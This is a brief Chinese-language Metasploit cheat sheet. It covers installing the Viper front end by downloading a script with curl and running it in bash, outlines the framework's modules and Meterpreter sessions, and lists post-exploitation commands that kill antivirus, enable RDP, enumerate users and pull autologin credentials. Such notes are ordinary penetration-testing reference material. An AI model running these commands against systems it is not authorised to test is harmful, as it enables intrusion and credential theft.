Metasploit漏洞利用框架
# VPS安装
https://www.yuque.com/vipersec/help
sysctl -w vm.max_map_count=262144
curl -o f8x https://f8x.io/ # wget -O f8x https://f8x.io/
bash f8x -viper# Metasploit模块划分
MSF是渗透测试领域最流行的渗透测试框架,它有以下5个模块
所有模块位置:/usr/share/metasploit-framework/modules/
# 渗透步骤(Exploit)
# 参数摘要
# sessions会话管理
# show options显示可选选项
# Meterpreter用例
刚获得Meterpreter Shell时,该Shell是极其脆弱的,可以把它和目标机中一个稳定的程序绑定
# 命令摘要
pwd、ls、cd
# 后渗透模块
run post/windows/gather/checkvm #检查目标是否虚拟机
run post/linux/gather/checkvm
run post/windows/manage/killav #关闭杀软
run post/windows/manage/enable_rdp #开启目标远程桌面
run post/windows/gather/enum_logged_on_users #列举当前登陆用户,和最近登陆过的用户
run post/windows/gather/enum_applications #列举应用程序
run windows/gather/credentials/windows_autologin #列举自动登陆的用户名和密码